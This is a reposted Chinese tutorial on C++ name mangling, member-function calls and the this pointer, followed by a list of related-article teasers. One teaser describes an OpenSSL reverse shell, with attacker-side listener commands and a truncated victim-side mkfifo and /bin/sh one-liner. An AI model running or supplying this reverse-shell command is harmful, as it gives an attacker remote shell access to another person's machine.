C++学习——C++函数的编译、成员函数的调用、this指针详解

以下内容源于C语言中文网的学习与整理,非原创,如有侵权请告知删除。

从博文的分析中可以看出,对象的内存中只保留了成员变量,除此之外没有任何其他信息,程序运行时不知道 stu 的类型为 Student,也不知道它还有四个成员函数 setname()、setage()、setscore()、show(),C++ 究竟是如何通过对象调用成员函数的呢?

一、C++函数的编译

C++和C语言的编译方式不同。

C语言中的函数在编译时名字不变,或者只是简单的加一个下划线_,例如func() 编译后为 func() 或 _func()。

C++中的函数在编译时会根据它所在的命名空间、它所属的类、以及它的参数列表等信息进行重新命名,形成一个新的函数名。这个新的函数名只有编译器知道,对用户是不可见的。对函数重命名的过程叫做名字编码(Name Mangling),是通过一种特殊的算法来实现的。

Name Mangling 的算法是可逆的,既可以通过现有函数名计算出新函数名,也可以通过新函数名逆向推演出原有函数名。Name Mangling 可以确保新函数名的唯一性,只要函数所在的命名空间、所属的类、包含的参数列表等有一个不同,最后产生的新函数名也不同。

如果你希望看到经 Name Mangling 产生的新函数名,可以只声明而不定义函数,这样调用函数时就会产生链接错误,从报错信息中就可以看到新函数名。请看下面的代码:

#include <iostream>
using namespace std;void display();
void display(int);namespace ns{void display();
}class Demo{
public:void display();
};int main(){display();display(1);ns::display();Demo obj;obj.display();return 0;
}

该例中声明了四个同名函数,包括两个具有重载关系的全局函数,一个位于命名空间 ns 下的函数,以及一个属于类 Demo 的函数。它们都是只声明而未定义的函数。

在 VS2015 下编译源代码可以看到类似下面的错误信息:

  • 小括号中就是经 Name Mangling 产生的新函数名,它们都以?开始,以区别C语言中的_
  • 不同的编译器有不同的 Name Mangling 算法,产生的函数名也不一样。
  • __thiscall、cdecl 是函数调用惯例,见《函数调用惯例》一文。
  • 除了函数,某些变量也会经 Name Mangling 算法产生新名字,这里不再赘述。

二、成员函数的调用

从上图看出,成员函数最终被编译成与对象无关的全局函数,如果函数体中没有成员变量,那问题就很简单,不用对函数做任何处理,直接调用即可。但如果成员函数中使用到了成员变量该怎么办呢?成员变量的作用域不是全局的,如果不经任何处理就无法在函数内部访问。

C++规定,编译成员函数时要额外添加一个参数,把当前对象的指针传递进去,通过指针来访问成员变量。这一切都是隐式完成的,对程序员来说完全透明,就好像这个额外的参数不存在一样。

假设 Demo 类有两个 int 型的成员变量 a 和 b,并且在成员函数 display() 中使用到了,如下所示:

void Demo::display(){cout<<a<<endl;cout<<b<<endl;
}

那么编译后的代码类似于:

void new_function_name(Demo * const p){//通过指针p来访问a、bcout<<p->a<<endl;cout<<p->b<<endl;
}

使用obj.display()调用函数时,也会被编译成类似下面的形式:

new_function_name(&obj);

这样通过传递对象指针就完成了成员函数和成员变量的关联。这与我们从表明上看到的刚好相反,通过对象调用成员函数时,不是通过对象找函数,而是通过函数找对象。

最后需要提醒的是,Demo * const p中的 const 表示指针不能被修改,p 只能指向当前对象,不能指向其他对象。通过下一节的讲解,我们可以知道这里的p其实就是this指针。

三、this指针详解

this 是 C++ 中的一个关键字,也是一个 const 指针,它指向当前对象,通过它可以访问当前对象的所有成员。

所谓当前对象,是指正在使用的对象。例如对于stu.show();,stu 就是当前对象,this 就指向 stu。

下面是使用 this 的一个完整示例:

#include <iostream>
using namespace std;class Student{
public:void setname(char *name);void setage(int age);void setscore(float score);void show();
private:char *name;int age;float score;
};void Student::setname(char *name){this->name = name;
}
void Student::setage(int age){this->age = age;
}
void Student::setscore(float score){this->score = score;
}
void Student::show(){cout<<this->name<<"的年龄是"<<this->age<<",成绩是"<<this->score<<endl;
}int main(){Student *pstu = new Student;pstu -> setname("李华");pstu -> setage(16);pstu -> setscore(96.5);pstu -> show();return 0;
}

本例中成员函数的参数和成员变量重名,只能通过 this 区分。以成员函数setname(char *name)为例,它的形参是name,和成员变量name重名,如果写作name = name;这样的语句,就是给形参name赋值,而不是给成员变量name赋值。而写作this -> name = name;后,=左边的name就是成员变量,右边的name就是形参,一目了然。

注意,this 只能用在类的内部,通过 this 可以访问类的所有成员,包括 private、protected、public 属性的。

给 this 指针赋值,是由编译器自动完成的,不需要用户干预,用户也不能显式地给 this 赋值。

本例中,this 的值和 pstu 的值是相同的。 我们不妨来证明一下,给 Student 类添加一个成员函数printThis(),专门用来输出 this 的值,如下所示:

void Student::printThis(){cout<<this<<endl;
}

然后在 main() 函数中创建对象并调用 printThis():

Student *pstu1 = new Student;
pstu1 -> printThis();
cout<<pstu1<<endl;Student *pstu2 = new Student;
pstu2 -> printThis();
cout<<pstu2<<endl;

运行结果如下,可以发现,this 确实指向了当前对象,而且对于不同的对象,this 的值也不一样。

015118E8
015118E8
015118B0
015118B0

使用this指针要注意以下几点:

  • this 是 const 指针,它的值是不能被修改的,一切企图修改该指针的操作,如赋值、递增、递减等都是不允许的。
  • this 只能在成员函数内部使用,用在其他地方没有意义,也是非法的。
  • 只有当对象被创建后 this 才有意义,因此不能在 static 成员函数中使用。

总结

成员函数最终会被编译成与对象无关的普通函数,所以在编译时成员函数时,会给成员函数添加一个额外的参数(即当前对象的指针),以此来关联成员函数和成员变量。这个额外的参数实际上就是 this 指针,它是成员函数和成员变量关联的桥梁。

this 指针实际上是成员函数的一个形参,在调用成员函数时将对象的首地址作为实参传递给 this 指针。不过 this 这个形参是隐式的,它并不出现在代码中,而是在编译阶段由编译器默默地将它添加到参数列表中。

this 指针作为隐式形参,本质上是成员函数的局部变量,所以只能用在成员函数的内部,并且只有在通过对象调用成员函数时才给 this 赋值。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/106377.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

求直角三角形第三点的坐标

文章目录 求直角三角形第三点的坐标1. 原理2. 数学公式3. 推导过程 求直角三角形第三点的坐标 1. 原理 已知内容有&#xff1a; P1、P2 两点的坐标&#xff1b; dis1 为 P1与P2两点之间的距离&#xff1b; dis2 为 P2与P3两点之间的距离&#xff1b; 求解&#xff1a; …

算法通关村第一关-链表青铜挑战笔记

欢迎来到 : 第一关青铜关 java如何创建链表链表怎么增删改查 我们先了解链表 单链表的概念 我们从简单的创建和增删改查开始. 链表的概念 线性表分为顺序表(数组组成)和链表(节点组成) . 链表又分: 单向 双向有哨兵节点 无哨兵节点循环 不循环 链表是一种物理存储单…

计算机毕业设计 高校实习信息发布网站的设计与实现 Javaweb项目 Java实战项目 前后端分离 文档报告 代码讲解 安装调试

&#x1f34a;作者&#xff1a;计算机编程-吉哥 &#x1f34a;简介&#xff1a;专业从事JavaWeb程序开发&#xff0c;微信小程序开发&#xff0c;定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事&#xff0c;生活就是快乐的。 &#x1f34a;心愿&#xff1a;点…

Git 安装和配置教程:Windows / Mac / Linux 三平台详细图文教程,带你一次性搞定 Git 环境

Git是一款免费、开源的分布式版本控制系统&#xff0c;广泛应用于软件开发领域。随着开源和云计算的发展&#xff0c;Git已经成为了开发者必备的工具之一。本文将为大家介绍Git在Windows、Mac和Linux三个平台上的安装和配置方法&#xff0c;带你一次性搞定Git环境 Windows平台 …

mysql面试题47:MySQL中Innodb的事务实现原理

该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:Innodb的事务实现原理 InnoDB是MySQL中一种常用的存储引擎,它支持事务和行级锁等特性。以下是InnoDB事务实现的简要原理: 事务定义: 事务是指一…

面向C++模块的开源 IFC SDK

早在 VS2019 v16.10 版本的时候&#xff0c;我们就官宣了对 C 模块(以及几乎所有其他 C 20 特性)的全面支持&#xff0c;包括 MSVC 编译器工具集&#xff0c;静态分析&#xff0c;智能感知和调试器等&#xff0c;而实现模块需要将 C 代码实现为一种内部的临时表示形式。 今天&…

java 每种设计模式的作用,与应用场景

文章目录 前言java 每种设计模式的作用&#xff0c;与应用场景 前言 如果您觉得有用的话&#xff0c;记得给博主点个赞&#xff0c;评论&#xff0c;收藏一键三连啊&#xff0c;写作不易啊^ _ ^。   而且听说点赞的人每天的运气都不会太差&#xff0c;实在白嫖的话&#xff0…

机器学习之Sigmoid函数

文章目录 Sigmoid函数是一种常用的数学函数&#xff0c;通常用于将实数映射到一个特定的区间。它的形状类似于"S"形状曲线&#xff0c;因此得名。Sigmoid函数在机器学习、神经网络和统计学中经常被使用&#xff0c;主要用于二元分类和处理概率值。 Sigmoid函数的一般…

冲刺十五届蓝桥杯P0006平面切分

文章目录 题目思路代码总结 题目 平面切分 思路 这道题是一个思维题把&#xff0c;之前没有接触过平面几何的知识&#xff0c;做起来感觉还是比较难的&#xff0c;用到的set集合和自己创建一个类 首先我们知道&#xff0c;一根直线A是可以将平面切分成两块的&#xff0c;如…

Linux网络编程系列之服务器编程——阻塞IO模型

Linux网络编程系列 &#xff08;够吃&#xff0c;管饱&#xff09; 1、Linux网络编程系列之网络编程基础 2、Linux网络编程系列之TCP协议编程 3、Linux网络编程系列之UDP协议编程 4、Linux网络编程系列之UDP广播 5、Linux网络编程系列之UDP组播 6、Linux网络编程系列之服务器编…

【MySQL入门到精通-黑马程序员】MySQL基础篇-约束

文章目录 前言一、概述二、案例三、外键约束总结 前言 本专栏文章为观看黑马程序员《MySQL入门到精通》所做笔记&#xff0c;课程地址在这。如有侵权&#xff0c;立即删除。 一、概述 概念&#xff1a;约束是作用于表中字段上的规则&#xff0c;用于限制存储在表中的数据。目的…

Kafka 开启SASL/SCRAM认证 及 ACL授权(一)认证

Kafka 开启SASL/SCRAM认证 及 ACL授权(一)认证。 kafka安全涉及3部份:传输加密,用户认证与授权,ZK开启ACL(Zookeeper存储了kafka的元数据以及用户信息,默认不开启acl所有用户可改,内网环境机器不对外开放可考虑使用默认不开启ZK ACL)。 官网地址:https://kafka.ap…

文心一言:文心大模型 4.0 即将发布

本心、输入输出、结果 文章目录 文心一言:文心大模型 4.0 即将发布前言文心 4.0 的成本问题架构文心 4.0 是否可以对标 GPT-4文心4.0 会不会收费弘扬爱国精神文心一言:文心大模型 4.0 即将发布 编辑:简简单单 Online zuozuo 地址:https://blog.csdn.net/qq_15071263 前言 …

【算法练习Day21】组合剪枝

​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;练题 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 文章目录 组合剪枝总结&#xff1a; …

html设置前端加载动画

主体思路参考&#xff1a; 前端实现页面加载动画_边城仔的博客-CSDN博客 JS图片显示与隐藏案例_js控制图片显示隐藏-CSDN博客 1、编写load.css /* 显示加载场景 */ .loadBackGround{position: absolute;top: 0px;text-align: center;width: 100%;height: 100vh;background-c…

C# Thread.Sleep(0)有什么用?

一、理论分析 回答这个要先从线程时间精度&#xff08;时间片&#xff09;开始说起。很多参考书说&#xff0c;默认情况下&#xff0c;时间片为15ms 左右&#xff0c;但是这是已经过时的知识。在老的 Windows 操作系统里&#xff0c;应用程序模式时时间片 15ms 左右&#xff0…

Kafka SASL认证授权(五)ACL源码解析

Kafka SASL认证授权(五)ACL源码解析。 官网地址:https://kafka.apache.org/ 一、ACL检查流程解析 一起看一下kafka server的启动与监听流程: Kafka -> KafkaServer -> SocketServer、KafkaRequestHandler 其中KafkaServer做相关的初始化,包括SocketServer 与 han…

CSS复习笔记

CSS 文章目录 CSS1.概念2.CSS 引入方式3.选择器基础选择器:标签选择器类选择器id 选择器通配符选择器 复合选择器:**后代选择器****子代选择器****并集选择器****交集选择器-了解****伪类选择器** 结构伪类选择器&#xff1a;**:nth-child&#xff08;公式&#xff09;**伪元素…

使用OpenSSL的反弹shell

1、攻击机生成证书&#xff1a; openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…

《华为战略管理法:DSTE实战体系》作者谢宁老师受邀为某电力上市集团提供两天的《成功的产品管理及产品经理》内训。

​​ 近日&#xff0c;《华为战略管理法&#xff1a;DSTE实战体系》作者谢宁老师受邀为某电力上市集团提供两天的《成功的产品管理及产品经理》内训。 谢宁老师作为华为培训管理部特聘资深讲师和顾问&#xff0c;也是畅销书《华为战略管理法&#xff1a;DSTE实战体系》、《智慧…